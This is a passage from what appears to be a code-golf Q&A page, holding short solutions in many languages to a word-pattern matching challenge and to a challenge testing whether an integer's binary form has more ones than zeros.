product, but instead of the usual `+` and `×` it uses `≡` identicalness `.` and `⍳` the **ɩ**ndex (the first occurrence of each element) `⍨` with the entire two-element list of words used as both arguments If we call the words `A` and `B`, then we can derive the previous solution as follows: `≡.⍳⍨ A B` `A B ≡.⍳ A B` `(A⍳A) ≡ (B⍳B)` `(⍳⍨A) ≡ (⍳⍨B)` `≡/ ⍳⍨¨ A B` ### Previous solution Anonymous tacit prefix function which takes a list of two strings as argument. ``` ≡/⍳⍨¨ ``` [Try it online!](https://tio.run/##XU5LCsIwEN17CndZiWeYTKc40KSlSbVZFqRuBN16AcGF4BXcufcGHqUX0UlaupAQMu83ed35uNpfuuPp8P32w/Ux3J7r4f4e7q/PS5ilIufBk1qqrKGCMrXo53EWI9e2rRAhhIRQA2iMKcrzKVWD0Y1Fz2XjiiCa31BtyixYMIxu3MwOazZswfM2/urYVAXnjEKUNnkcJQF2CYH1TmCV3khosHKig2qy9M9ZR6MPtGDEqXzs007lpbkGlKvmWcyjMqYy9QM "APL (Dyalog Unicode) – Try It Online") `≡` identicalness `/` across `⍳` the **ɩ**ndex (the first occurrence of each element…) `⍨` selfie (…in itself) `¨` of each [Answer] # Mathematica, 46 bytes ``` Equal@@Values@*PositionIndex/@Characters@{##}& ``` [Answer] # Ruby, 50 bytes 30 bytes shorter ruby code. Written before I took a look at the solutions, checks for each character of both strings whether the index of that character's first occurence matches; ie. transforms a string to its normalized form `01121` etc and compares those. ``` ->x,y{g=->z{z.chars.map{|c|z=~/#{c}/}};g[x]==g[y]} ``` Test cases on [ideone](https://ideone.com/0tfSD3) As an additional bonus, this breaks ideone's code highlighting. [Answer] ## PCRE, 84 bytes ``` ^((.)(?=.+ (\3.|)(.))(?=((?=(\2|)?+.* \3\4(\7?(?(?=.*+\6)(?!\4).|\4))).)+ ))+. \3..$ ``` Subject should be two space-separated words, as in the OP. Here's a cursory explanation: > > For each letter X in the first word: > > > > > > > Look ahead to the second word and establish back references to recall how far along we are as well as the letter Y in the second word corresponding to X. > > > > > > For each letter Z past the current position in the first word: > > > > > > > > > > > > Establish similar back references as above. > > > > > > > > > Look ahead to the corresponding letter in the second word and check if Z = X then match a Y, otherwise match a letter that isn't Y. > > > > > > > > > > > > > > > > > > This iteration can end once we've matched up until the penultimate letter in the first word. At this point, since no further validation is necessary, all that remains is to test that the words are of equal length (the back reference containing accumulating substrings of the second word is always behind by 1 letter). > > > [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 4 bytes ``` ĠṢ)E ``` [Try it online!](https://tio.run/##RU47bsMwDN11Cg5ZeoZOFEWjRCzZMOXWOkCWwBfImiXXKDpnCjq06NhexL2ISsMBCuLxffCGdzzM86nWn9fl8@2B6/L1vnzcfs/Xx@/LzmhvKLWyZswMYeSWg9sIttBN0wSlFEce0RMEbhrrDBj9mChLN2pbID/xELtQEkYhdUGUBomSMMszg0rsW2mEzHbJKVuELw5TVujX7zwmO1AeOPG/S8rq0AORzSgw2Qzb4JEMcFfoLVs74Q8 "Jelly – Try It Online") [Another 4 byte version](https://tio.run/##RU47bsMwDN11Cg5ZeoZOFEWjRCzZMOXWOkCXIhfImqWXKQIkyNDP2JPYF1FpOEBBPL4P3vDeXg@HY63z99dyOT9wnX9u8@d1OX08/r7vjPaGUitrxswQRm45uI1gC900TVBKceQRPUHgprHOgNGPibJ0o7YF8hMPsQslYRRSF0RpkCgJszwzqMS@lUbIbJecskX44jBlhX79zmOyA@WBE/@7pKwOPRDZjAKTzbANHskAd4XesrUT/gA) ## How they work ``` ĠṢ)E - Main link. Takes [A, B] on the left ) - Over each string S in the input: Ġ - Group the indices of S by it's values Ṣ - Sort the lists of indices E - Are both equal? ẹⱮ)E - Main link. Takes [A, B] on the left ) - Over each string S in the input: Ɱ - For each character C in S: ẹ - Get the indices of C in S E - Are both equal? ``` [Answer] # [Vyxal](https://github.com/Vyxal/Vyxal), 7 bytes ``` ƛUẊv≈;≈ ``` [Try it Online!](https://vyxal.pythonanywhere.com/#WyIiLCIiLCLGm1Xhuop24omIO+KJiCIsIiIsIltcIkRJU0NSSU1JTkFUSVZFXCIsXCJTSU1QTElGSUNBVElPTlwiXSJd) ``` ƛ ;≈ # Same upon... Ẋ # Cartesian product of... U # Uniquified value # And (implicit) value v≈ # For each, same? ``` [Answer] # [BQN](https://mlochbaum.github.io/BQN/), 3 bytes[SBCS](https://github.com/mlochbaum/BQN/blob/master/commentary/sbcs.bqn) ``` ≡○⊐ ``` [Run online!](https://mlochbaum.github.io/BQN/try.html#code=RiDihpAg4omh4peL4oqQCgo+4ouI4p+cKEbCtCnCqOKfqCJFU1RBVEUi4oC/IkRVRUxFRCIKIkRVRUxFRCLigL8iRVNUQVRFIgoiWFhYIuKAvyJZWVkiCiJDQkFBQkMi4oC/IkRFRkZFRCIKIlJBTUJVTkNUSU9VU0xZIuKAvyJUSEVSTU9EWU5BTUlDUyIKIkRJU0NSSU1JTkFUSVZFIuKAvyJTSU1QTElGSUNBVElPTiIKIlNFRSLigL8iU0FXIgoiQU5UUyLigL8iUEFOVFMiCiJCQU5BTkEi4oC/IlNFUkVORSIKIkJBTkFOQSLigL8iU0VOU0VTIgoiQUIi4oC/IkNDIgoiWFhZIuKAvyJYWVkiCiJBQkNCQUNDQkEi4oC/IkFCQ0JBQ0NBQiIKIkFCQUIi4oC/IkNEIuKfqQ==) The builtin *Classify* `⊐` gets the pattern of letter repetitions for a given string as a vector of non-negative integers. All that's left to do is to compare the two results for equality. ``` ⊐ "ESTATE" # ⟨ 0 1 2 3 2 0 ⟩ ⊐ "DUELED" # ⟨ 0 1 2 3 2 0 ⟩ (⊐ "ESTATE") ≡ (⊐ "DUELED") # 1 "ESTATE" ≡○⊐ "DUELED" # 1 ``` [Answer] # [Husk](https://github.com/barbuz/Husk), 5 bytes ``` ¤=´×= ``` [Try it online!](https://tio.run/##yygtzv7//9AS20NbDk@3/f//v5JrcIhjiKvSfyWXUFcfVxclAA "Husk – Try It Online") ### Explanation ``` -- implicit input A, B (strings aka character lists) | "ab" "12" ¤= -- apply the following function to A & B, then compare: | [1,0,0,1] == [1,0,0,1] -> 1 ´× -- Cartesian product with itself under | ["aa","ba","ab","bb"] ["11","21","12","22"] = -- equality | [ 1 , 0 , 0 , 1 ] [ 1 , 0 , 0 , 1 ] ``` [Answer] # [Husk](https://github.com/barbuz/Husk), ~~5~~ 4 bytes ``` Ë´Ṫ= ``` [Try it online!](https://tio.run/##yygtzv7//3D3oS0Pd66y/f//f7SSa3CIY4irko6SS6irj6uLUiwA "Husk – Try It Online") -1 byte from Leo using ბიმო's answer. ## Explanation ``` Ë´Ṫ= Ë check if all the elements are equal by the following predicate: ´Ṫ cartesian product with self = by equality ``` [Answer] # [Thunno 2](https://github.com/Thunno/Thunno2), 6 [bytes](https://github.com/Thunno/Thunno2/blob/main/docs/codepage.md) ``` ıʠ€ạ;ạ ``` [Try it online!](https://Not-Thonnu.github.io/run#aGVhZGVyPSZjb2RlPSVDNCVCMSVDQSVBMCVFMiU4MiVBQyVFMSVCQSVBMSUzQiVFMSVCQSVBMSZmb290ZXI9JmlucHV0PSUyMkVTVEFURSUyMiUyQyUyMCUyMkRVRUxFRCUyMiZmbGFncz0=) #### Explanation ``` ıʠ€ạ;ạ # Implicit input ı ; # Map: ʠ # Powerset of the string € # For each one: ạ # Check if all equal ạ # Check if all equal # Implicit output ``` [Answer] # [Nekomata](https://github.com/AlephAlpha/Nekomata) + `-e`, 5 bytes ``` ŤuŤᵐů ``` [Attempt This Online!](https://ato.pxeger.com/run?1=XVC9TsMwEBYrj8CEPCc76_lyEZZip4odiBV1KKhdqsLQ9j3YWToECSEkJh4hL8HGm3D-6YIsy_f93PmzX9-f1tvn3eqw-hxFuRPFtSjXYnl6Ox425c3HPB3n6ff7Zf6a9g-P-0yffi6uRkHWgSNRiKqnhiqxvBzPZXEWAzcMAxPe-4hQAkgMXVTXuasDLXuDTrW9bTxr7pY63VbegFZo02RlsVNaGXDqLtxqlV40qlbIRGuix1IU4D4iMM4yXMQzEBIMr-Cgjgz954yl5APJGDGHD3mGHJ6TS0DezOWazUlJXfyg9Ed_) Takes input as a list of two strings. ``` ŤuŤᵐů Ť Transpose; ["ESTATE","DUELED"] -> ["ED","SU","TE","AL","TE","ED"] u Uniquify; ["ED","SU","TE","AL","TE","ED"] -> ["ED","SU","TE","AL"] Ť Transpose; ["ED","SU","TE","AL"] -> ["ESTA","DUEL"] ᵐů Check that neither string contains duplicate characters ``` ]
[Question] [ An integer is binary-heavy if its binary representation contains more `1`s than `0`s while ignoring leading zeroes. For example 1 is binary-heavy, as its binary representation is simply `1`, however 4 is not binary heavy, as its binary representation is `100`. In the event of a tie (for example 2, with a binary representation of `10`), the number is not considered binary-heavy. Given a positive integer as input, output a truthy value if it is binary-heavy, and a falsey value if it is not. ## Testcases Format: `input -> binary -> output` ``` 1 -> 1 -> True 2 -> 10 -> False 4 -> 100 -> False 5 -> 101 -> True 60 -> 111100 -> True 316 -> 100111100 -> True 632 -> 1001111000 -> False 2147483647 -> 1111111111111111111111111111111 -> True 2147483648 -> 10000000000000000000000000000000 -> False ``` ## Scoring This is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'") so fewest bytes **in each language** wins [Answer] # x86 Machine Code, 15 14 bytes ``` F3 0F B8 C1 0F BD D1 03 C0 42 2B D0 D6 C3 ``` This is a function using Microsoft's \_\_fastcall calling convention (first and only parameter in ecx, return value in eax, callee is allowed to clobber edx), though it can trivially be modified for other calling conventions that pass arguments in registers. It returns 255 as truthy, and 0 as falsey. It uses the undocumented (but widely supported) opcode `salc`. Disassembly below: ``` ;F3 0F B8 C1 popcnt eax, ecx ; Sets eax to number of bits set in ecx ;0F BD D1 bsr edx, ecx ; Sets edx to the index of the leading 1 bit of ecx ;03 C0 add eax, eax ;42 inc edx ;2B D0 sub edx, eax ; At this point, ; edx = (index of highest bit set) + 1 - 2*(number of bits set) ; This is negative if and only if ecx was binary-heavy. ;D6 salc ; undocumented opcode. Sets al to 255 if carry flag ; is set, and to 0 otherwise. ;C3 ret ``` [Try it online!](https://tio.run/##XY/dTsIwGIbPdxVfZkhaKbo/B3HggXoXlCylP9BkdGbtSJFw687OYCSePd/fk/fjsx3nw3CnDW96IZfWCd0@7F@iyDrmNAfeGuuA71kXUMh1WmxgBTH1Kqc@UdRvF9Tz9MqCejFymL0l1BcZ9dkr9e@B38uwl8fVP7M2DtD9VhvWneq9ZMcTRr2xemekGIcY6po51@lt72RdI6SYdZw1DcYhxxgpGI@tFnBg2iAcnSOAWwE4aZ1dj6nPKclIQZ5ImZA8LUmZZyRLi3mxyMti/oeLSxUkqu0AjQK9SirQS6s/ZavQjw4/3lbrZIMrmE41DmcAH124Uiie9M8wEdTE5JpBbwjcfop@2xhX0WUYvrhq2M4Os0OefQM "C (gcc) – Try It Online") Thanks to [Peter Cordes](https://codegolf.stackexchange.com/users/30206/peter-cordes) for suggesting replacing `lzcnt` with `bsr`. [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 5 bytes ``` Bo-SR ``` Yields non-empty output (truthy) or empty output (falsy). [Try it online!](https://tio.run/##y0rNyan8/98pXzc46P/h9kdNayL//4821FEw0lEw0VEw1VEwM9BRMDY0AzKMgWJGhibmJhbGZibmSGyLWAA "Jelly – Try It Online") ### How it works ``` Bo-SR Main link. Argument: n B Binary; convert n to base 2. o- Compute the logical OR with -1, mapping 1 -> 1 and 0 -> -1. S Take the sum s. We need to check if the sum is strictly positive. R Range; yield [1, ..., s], which is non-empty iff s > 0. ``` [Answer] # [Python 2](https://docs.python.org/2/), 35 bytes ``` lambda n:max('10',key=bin(n).count) ``` [Try it online!](https://tio.run/##HcxLCsIwFAXQuat4s7ZwkeZjWgpdiTpI1WDQ3pQSwa4@fmZndJYt3xN1CeOpPP08Xb1wmP27rlRb4XHbximyZrO/pBdzU0JahRIpRwUNiwNcC6McnNHQyna2N852f/7Un4edLGtkFkLCdyof "Python 2 – Try It Online") ### Old answer, 38 bytes Outputs `0` as falsy and `-2` or `-1` as truthy ``` lambda n:~cmp(*map(bin(n).count,'10')) ``` [Try it online!](https://tio.run/##Hcy7DsIgFAbg3ac4W8H8MeUibZr0SaoDrSGSyIE0OLj46njZvukrr3rPrFuYL@3h03rzxNN7S0Ucky9ijSxYnrb85IpO9Z2ULeSdmCLToqBhcYbrYZSDMxpa2cGOxtnhz5/G63SgskeuxKDw/doH "Python 2 – Try It Online") [Answer] # [Octave](https://www.gnu.org/software/octave/), 18 bytes ``` @(n)mode(de2bi(n)) ``` TIO doesn't work since the communications toolbox is not included. It can be tested on [Octave-Online](http://octave-online.net/). ### How this works: `de2bi` converts a decimal number to a binary numeric vector, not a string as `dec2bin` does. `mode` returns the most frequent digit in the vector. It defaults to the lowest in case of a tie. ``` @(n) % Anonymous function that takes a decimal number as input 'n' mode( ) % Computes the most frequent digit in the vector inside the parentheses de2bi(n) % Converts the number 'n' to a binary vector ``` [Answer] # [MATL](https://github.com/lmendo/MATL), 3 bytes ``` BXM ``` [Try it online!](https://tio.run/##y00syfn/3ynC9/9/EwA "MATL – Try It Online") I don't really know MATL, I just noticed that `mode` could work in [alephalpha's Octave answer](https://codegolf.stackexchange.com/a/132257/62346) and figured there was some equivalent in MATL. ``` B ' binary array from input XM ' value appearing most. On ties, 0 wins ``` [Answer] ## JavaScript (ES6), ~~36~~ 34 bytes ``` f=(n,x=0)=>n?f(n>>>1,x+n%2-.5):x>0 ``` [Answer] # [Brachylog](https://github.com/JCumin/Brachylog), 6 bytes ``` ḃọtᵐ>₁ ``` [Try it online!](https://tio.run/##SypKTM6ozMlPN/r//@GO5oe7e0sebp1g96ip8f9/I0MTcxMLYzMT8/8A "Brachylog – Try It Online") ### Explanation ``` Example input: 13 ḃ Base (default: binary): [1,1,0,1] ọ Occurences: [[1,3],[0,1]] tᵐ Map Tail: [3,1] >₁ Strictly decreasing list ``` Since `ḃ` will never unify its output with a list of digits with leading zeroes, we know that the occurences of `1` will always be first and the occurences of `0` will always be second after `ọ`. [Answer] # Mathematica, 22 bytes Saved one byte thanks to [@MartinEnder](https://codegolf.stackexchange.com/users/8478/martin-ender) and [@JungHwanMin](https://codegolf.stackexchange.com/users/60043/junghwan-min). ``` #>#2&@@#~DigitCount~2& ``` [Answer] # [Python 3](https://docs.python.org/3/), ~~44~~ (thanks @c-mcavoy) 40 bytes ``` lambda n:bin(n).count('0')<len(bin(n))/2 ``` [Try it online!](https://tio.run/##K6gsycjPM/6fZhvzPycxNyklUSHPKikzTyNPUy85vzSvREPdQF3TJic1TwMiqqlv9L@gKBMokaZhqKnJBWMbIbFNkNimSGwzAySOsaEZspQxsgFGhibmJhbGZibm2AQtNDX/AwA "Python 3 – Try It Online") [Answer] # Regex (ECMAScript), 183 bytes This was another interesting problem to solve with ECMA regex. The "obvious" way to handle this is to count the number of `1` bits and compare that to the total number of bits. But you can't directly count things in ECMAScript regex – the lack of persistent backreferences means that only one number may be modified in a loop, and at each step it can only be decreased. This unary algorithm works as follows: 1. Take the square root of the largest power of 2 that fits into N, and take note of whether the square root was perfect or had to be rounded down. This will be used later. 2. In a loop, move each most-significant `1` bit to the least-significant position where there is a `0` bit. Each of these steps is a subtraction. At the end of the loop, the remaining number (as it would be represented in binary) is a string of `1`s with no `0`s. These operations are actually done in unary; it's only conceptually that they are being done in binary. 3. Compare this "binary string of `1`s" against the square root obtained earlier. If the square root had to be rounded down, use a doubled version of it. This ensures that the "binary string of `1`s" is required to have more than half as many binary digits as N in order for there to be a final match. To obtain the square root, a variant of the multiplication algorithm briefly described in my [Rocco numbers regex post](https://codegolf.stackexchange.com/a/179420/17216) is used. To identify the least-significant `0` bit, the division algorithm briefly described in my [factorial numbers regex post](https://codegolf.stackexchange.com/a/178979/17216) is used. These are **spoilers**. So **do not read any further if you don't want some advanced unary regex magic spoiled for you**. If you do want to take a shot at figuring out this magic yourself, I highly recommend starting by solving some problems in the list of consecutively spoiler-tagged recommended problems in [this earlier post](https://codegolf.stackexchange.com/a/178889/17216), and trying to come up with the mathematical insights independently. With no further ado, the regex: `^(?=.*?(?!(x(xx)+)\1*$)(x)*?(x(x*))(?=(\4*)\5+$)\4*$\6)(?=(((?=(x(x+)(?=\10$))*(x*))(?!.*$\11)(?=(x*)(?=(x\12)*$)(?=\11+$)\11\12+$)(?=.*?(?!(x(xx)+)\14*$)\13(x*))\16)*))\7\4(.*$\3|\4)` [Try it online!](https://tio.run/##XY/NbsIwEIRfBSIEu0kJGAKVSA2nHrj00B7rVrLABLfGiWwDKT/PTu2olapedu2Zz7PeD37gdmVk5fq2kmthdqX@FF83Q7U4tp5F8VhXACc6H8S3d1jQNF7Aog011DUmyEjcQajRi16JET0BLIuRTZIO@kOHTRsNQvFIEm6MDDuI8c@DduopQhrMK01jZIQhObAkJBHipaRR/v/AD/F13KQxMsXQ7lkGIXZ8YRne4sEJU1e@OCN1AZhaJVcCpnf9DDG3dJgft1IJAEWN4GsltQDENtV7pfBcUJXaSkkHvX4Pc7kB0LRIldCF2@J8dLlI@8SfQNKKGyuW2kHxOnxD/DXEX0PPyYLMgo1ua8pjtNQHruS6ZbguxKwVJSrflAZy@UBFLpME/cCojlIjKsEdSEx33K22YBDPttut/EoOwhYkr/bOOuOR/Hq9DfujyfQb "JavaScript (SpiderMonkey) – Try It Online") ``` # For the purposes of these comments, the input number = N. ^ # Take the floor square root of N (?= .*? (?!(x(xx)+)\1*$) # tail = the largest power of 2 less than tail (x)*? # \3 = nonzero if we will need to round this square root # up to the next power of two (x(x*)) # \4 = potential square root; \5 = \4 - 1 (?= (\4*)\5+$ # Iff \4*\4 == our number, then the first match here must result in \6==0 ) \4*$\6 # Test for divisibility by \4 and for \6==0 simultaneously ) # Move all binary bits to be as least-significant as possible, e.g. 11001001 -> 1111 (?= ( # \7 = tool for making tail = the result of this move ( (?= (x(x+)(?=\10$))*(x*) # \11 = {divisor for getting the least-significant 0 bit}-1 ) (?!.*$\11) # Exit the loop when \11==0 (?= (x*) # \12 = floor((tail+1) / (\11+1)) - 1 (?=(x\12)*$) # \13 = \12+1 (?=\11+$) \11\12+$ ) (?= .*? (?!(x(xx)+)\14*$) # tail = the largest power of 2 less than tail \13 # tail -= \13 (x*) # \16 = tool to move the most-significant 1 bit to the # least-significant 0 bit available spot for it ) \16 )* ) ) \7 # tail = the result of the move \4 # Assert that \4 is less than or equal to the result of the move ( .*$\3 | \4 # Double the value of \4 to compare against if \3 is non-empty, # i.e. if we had an even number of total digits. ) ``` [Answer] # [C (gcc)](https://gcc.gnu.org/), ~~51~~ ~~48~~ ~~41~~ 40 bytes ``` i;f(n){for(i=0;n;n/=2)i+=n%2*2-1;n=i>0;} ``` [Try it online!](https://tio.run/##ldLBCoIwHAbwu08hgrBV4v5zmTDWsSfo2EWsxaBWWJ3EZ7etyDBX5nd134/PsSLaF0XTKC6RxpU8lUgJwjXXsaBYTYUO6YRGwLVQS8Lr5pgrjbBXeb7JuVT6KlEAfpto6Q8E7Jl1edv54Xajg5lEgDG3XzomHWECsWdW@eHyRqkLZf@jQBwoc6HzMWj/7@cuMyX/mWDyHNoxU@JCE0iHUcN9QU3dqN2ZCR0UW9Bxn6b/SVJgC5YlKVs8SPid3sh3/XUDcezkM1u1q37F8azavh1ee80d "C (gcc) – Try It Online") [Answer] # [R](https://www.r-project.org/), ~~54~~ ~~53~~ 51 bytes *-1 byte thanks to Max Lawnboy* ``` n=scan();d=floor(log2(n))+1;sum(n%/%2^(0:d)%%2)*2>d ``` reads from stdin; returns `TRUE` for binary heavy numbers. `d` is the number of binary digits; `sum(n%/%2^(0:d)%%2` computes the digit sum (i.e., number of ones). [Try it online!](https://tio.run/##K/r/P8@2ODkxT0PTOsU2LSc/v0gjJz/dSCNPU1Pb0Lq4NFcjT1Vf1ShOw8AqRVNV1UhTy8gu5b@ZsdF/AA "R – Try It Online") [Answer] # [Kotlin](https://kotlinlang.org/), 50 bytes ``` {i:Int->i.toString(2).run{count{it>'0'}>length/2}} ``` Lambda of implicit type `(Int) -> Boolean`. Version 1.1 and higher only due to usage of `Int.toString(radix: Int)`. Unfortunately TIO's Kotlin runtime seems to be 1.0.x, so here's a sad dog instead of a TIO link: ![](https://i.stack.imgur.com/uWkDL.png) [Answer] # x86\_64 machine code, ~~23~~ ~~22~~ 21 bytes ``` 31 c0 89 fa 83 e2 01 8d 44 50 ff d1 ef 75 f3 f7 d8 c1 e8 1f c3 ``` ## Disassembled: ``` # zero out eax xor %eax, %eax Loop: # copy input to edx mov %edi, %edx # extract LSB(edx) and $0x1, %edx # increment(1)/decrement(0) eax depending on that bit lea -1(%rax,%rdx,2), %eax # input >>= 1 shr %edi # if input != 0: repeat from Loop jnz Loop # now `eax < 0` iff the input was not binary heavy, neg %eax # now `eax < 0` iff the input was binary heavy (which means the MSB is `1`) # set return value to MSB(eax) shr $31, %eax ret ``` Thanks @Ruslan, @PeterCordes for `-1` byte! [Try it online!](https://tio.run/##TVDRasMwDHz3V4iUgp16I2nSJCXdfmQuI7Wd1rA5w3GLQ@m3Z3K2wfxy0p10JyyfzlLO88pY@XFVGg6jV2Z4vrwSIgc7epCXzsFp8loOSr8d4QUSEYpcBJmJ0OxF6DvEQgS9FSFDvlEilKUIO9T7XgSFnEasd9jjXF8j1@B@5BFz1GSRtIQY6@GzM5bGonNnyZf0NI3NjcGdEICo2fa38Hr043LUHXIOWw4lhx2HKgMORV5hVSC5zcu6bIqqrOFf08CjjY794GCJNOiTtQgH2CNsNjES8FkUfqLMsV2YL4cLPU1OxnZuer/o7jbRtWI4uFbCJhwsBxpdacooY38fyKhlLFo8YrLT/uosZpLHPH8D "C (gcc) – Try It Online") [Answer] ## Regex (ECMAScript), ~~85~~ ~~73~~ 71 bytes ``` ^((?=(x*?)\2(\2{4})+$|(x*?)(\4\4xx)*$)(\2\4|(x*)\5\7\7(?=\4\7$\2)\B))*$ ``` [Try it online!](https://tio.run/##TY1RT8IwFIX/Ci4k3Lu5IsuAhFlITHzghQd9tJo049JVS7t0FSbgb5/DxMS3k@87J@ddHmRTel2HtKn1lvze2Q/66jy3dBw8kXpsa4ATX47j7g1gxaGNVygyENk5/8ZkePkFIHKRty3Gwz5mIr9SFFMxF/N@08v5UGQoHrBvdPH4hCy45@C1VYCsMbokmN2mOWJxrLQhAMM9ya3RlgDxhttPY/CsuGFNbXSAUTrCQu8ALFfMkFWhwmV2uehmIzegeS19Q2sbQL3cvSL@Cfov7HKymiyuGkPl3TFa24M0ejvw0ipaDKLEFDvnodD3nAqdJNgfRm3EPNUkA2hkexnKCjxi6WzjDDHjVM@L726SZtPZDw "JavaScript (SpiderMonkey) – Try It Online") *explanation by [Deadcode](https://codegolf.stackexchange.com/users/17216/deadcode)* The earlier 73 byte version is explained below. `^((?=(x*?)\2(\2{4})+$)\2|(?=(x*?)(\4\4xx)*$)(\4|\5(x*)\7\7(?=\4\7$)\B))+$` Because of the limitations of ECMAScript regex, an effective tactic is often to transform the number one step at a time while keeping the required property invariant at every step. For example, to test for a perfect square or a power of 2, reduce the number in size while keeping it a square or power of 2 (respectively) at every step. Here is what this solution does at every step: If the rightmost bit is not a `1`, the rightmost `1` bit (if it is not the only `1` bit, i.e. if the current number is not a power of 2) is moved one step to the right, effectively changing a `10` to a `01` (for example, 1101**1**000 → 11010**1**00 → 110100**1**0 → 1101000**1**), which has no effect on the number's binary-heaviness. Otherwise, the rightmost `01` is deleted (for example 101110**01** → 101110, or 110**01**11 → 11011). This also has no effect on the number's heaviness, because the truth or falsehood of \$ones>zeroes\$ will not change if \$1\$ is subtracted from both; that is to say, \$ones>zeroes⇔ones-1>zeroes-1\$ When these repeated steps can go no further, the end result will either be a contiguous string of `1` bits, which is heavy, and indicates that the original number was also heavy, or a power of 2, indicating that the original number was not heavy. And of course, although these steps are described above in terms of typographic manipulations on the binary representation of the number, they're actually implemented as unary arithmetic. ``` # For these comments, N = the number to the right of the "cursor", a.k.a. "tail", # and "rightmost" refers to the big-endian binary representation of N. ^ ( # if N is even and not a power of 2: (?=(x*?)\2(\2{4})+$) # \2 = smallest divisor of N/2 such that the quotient is # odd and greater than 1; as such, it is guaranteed to be # the largest power of 2 that divides N/2, iff N is not # itself a power of 2 (using "+" instead of "*" is what # prevents a match if N is a power of 2). \2 # N = N - \2. This changes the rightmost "10" to a "01". | # else (N is odd or a power of 2) (?=(x*?)(\4\4xx)*$) # \4+1 = smallest divisor of N+1 such that the quotient is # odd; as such, \4+1 is guaranteed to be the largest power # of 2 that divides N+1. So, iff N is even, \4 will be 0. # Another way of saying this: \4 = the string of # contiguous 1 bits from the rightmost part of N. # \5 = (\4+1) * 2 iff N+1 is not a power of 2, else # \5 = unset (NPCG) (iff N+1 is a power of 2), but since # N==\4 iff this is the case, the loop will exit # immediately anyway, so an unset \5 will never be used. ( \4 # N = N - \4. If N==\4 before this, it was all 1 bits and # therefore heavy, so the loop will exit and match. This # would work as "\4$", and leaving out the "$" is a golf # optimization. It still works without the "$" because if # N is no longer heavy after having \4 subtracted from it, # this will eventually result in a non-match which will # then backtrack to a point where N was still heavy, at # which point the following alternative will be tried. | # N = (N + \4 - 2) / 4. This removes the rightmost "01". As such, it removes # an equal number of 0 bits and 1 bits (one of each) and the heaviness of N # is invariant before and after. This fails to match if N is a power of 2, # and in fact causes the loop to reach a dead end in that case. \5 # N = N - (\4+1)*2 (x*)\7\7(?=\4\7$) # N = (N - \4) / 4 + \4 \B # Assert N > 0 (this would be the same as asserting N > 2 # before the above N = (N + \4 - 2) / 4 operation). ) )+ $ # This can only be a match if the loop was exited due to N==\4. ``` [Answer] # [Perl 6](https://perl6.org), ~~32~~ 30 bytes ``` {[>] .base(2).comb.Bag{qw<1 0>}} ``` [Test it](https://tio.run/##ldHNToNAEAfw@z7FHIgFpZQF3DbBEjXRk8fGi3qgdDQkFNZd8COEJ/Pmi@EuVtp4KO3/tJmd38wSOIqMtZVEeGNOEpL1J5wkxQph3tYP0RM4y1ii6VlOUqyXznX8Ur@@X1Bwo6ZpVe9libKEOWRpjtK0vr8cybO0NCeP8hRG42gE6jDR9Zv7q7uQ6EULRULCsziHs86H5LkQm1HjCEwjzXlV2oZALmwDPzgmJa4sqAlAKkE/b9Nj2dDfq2NXC0nTUuijBg6E6p6FqJB4RzDq6p7bOJNIgsMddXfc@TFu@0zmHsaoyu@6jvmUDTMF/jHme4OsVzsf59FgGsx8Fkw7R/dn@w/@2EyX9Mh96df9AA "Perl 6 – Try It Online") ``` {[>] .polymod(2 xx*).Bag{1,0}} ``` [Test it](https://tio.run/##ldHBToNAEAbg@z7FHBoLlVIWcNuElKiJnjw2XtQDgdGQbGHDgqEhPJk3Xwx3sdLGQ2n/02Z2vpklCCw46yqJ8MnsOCDbHVzFeYKw7pqX8A1skfPdNk8MF@p6Ztr30UdDLadtO9V5W6IsYQ08zVAa5veXLQVPS2PxKmcwnYdTUIeFrj883z0FRK/ZKBIQwaMMrnsfkPe82I@ah2BM0kxUpTUpUBTWBGuBcYmJCQ0BSCXox@17TAuGe3XsawFpOwpD1MCRUN2zKSok7gWMOrrnMeISiX@@o86Ru7nEHZ7JnPMYVfld1zOPsnGmwD/GPHeUDero41zqL/2Vx/xl7@jpHP7BH1vpkh55KsO6Hw "Perl 6 – Try It Online") ## Expanded: ``` { # bare block lambda with implicit parameter 「$_」 [>] # reduce the following with &infix:« > » .polymod(2 xx *) # turn into base 2 (reversed) (implicit method call on 「$_」) .Bag\ # put into a weighted Set { 1, 0 } # key into that with 1 and 0 # (returns 2 element list that [>] will reduce) } ``` [Answer] # [Wise](https://github.com/Wheatwizard/Wise), ~~40~~ 39 bytes ``` ::^?[:::^~-&[-~!-~-~?]!~-?|>]|:[>-?>?]| ``` [Try it online!](https://tio.run/##K88sTv3/38oqzj7aCkjW6apF69Yp6tbp1tnHKtbp2tfYxdZYRdvp2tvZx9b8///fyNDE3MTC2MzEAgA "Wise – Try It Online") ## Explanation ``` ::^? Put a zero on the bottom [ While :::^~-& Get the last bit [-~!-~-~?]!~-?| Increment counter if 0 decrement if 1 > Remove the last bit ]| End while :[>-?>?]| Get the sign ``` [Answer] ## Haskell, ~~41~~ 34 ``` g 0=0 g n=g(div n 2)+(-1)^n (<0).g ``` If `n` is odd, take a `-1` if it's even, take a `1`. Add a recursive call with `n/2` and stop if `n = 0`. If the result is less than `0` the number is binary-heavy. [Try it online!](https://tio.run/##Rca9CoMwFAbQ3af4hg4JvUr@Gh3Mk0gLgdYY1Ito8fXj6JnOFI/5tyylJKigqgQOSXzzCYaRT1Fr@eFqDKJXsklljZkRsO2Z/3hgjRtGDJoMOXqRV2S1J28NGe1a11nv2rvdG@UC "Haskell – Try It Online") Edit: @Ørjan Johansen found some shortcuts and saved 7 bytes. Thanks! [Answer] # [Retina](https://github.com/m-ender/retina), ~~37~~ 34 bytes ``` .+ $* +`(1+)\1 $1@ @1 1 +`.\b. 1+ ``` [Try it online!](https://tio.run/##K0otycxL/K@q4Z7wX0@bS0WLSztBw1BbM8aQS8XQgcvBkMsQKKIXk6THxWWo/f@/IZcRlwmXKZeZAZexoRmXmbERAA "Retina – Try It Online") Link includes smaller test cases (the larger ones would probably run out of memory). Edit: Saved 3 bytes thanks to @MartinEnder. Explanation: The first stage converts from decimal to unary, and the next two stages convert from unary to binary (this is almost straight out of the unary arithmetic page on the Retina wiki, except that I'm using `@` instead of `0`). The third stage looks for pairs of dissimilar characters, which could be either `@1` or `1@`, and deletes them until none remain. The last stage then checks for remaining 1s. [Answer] # [R](https://www.r-project.org/), 43 bytes ``` max(which(B<-intToBits(scan())>0))/2<sum(B) ``` [Try it 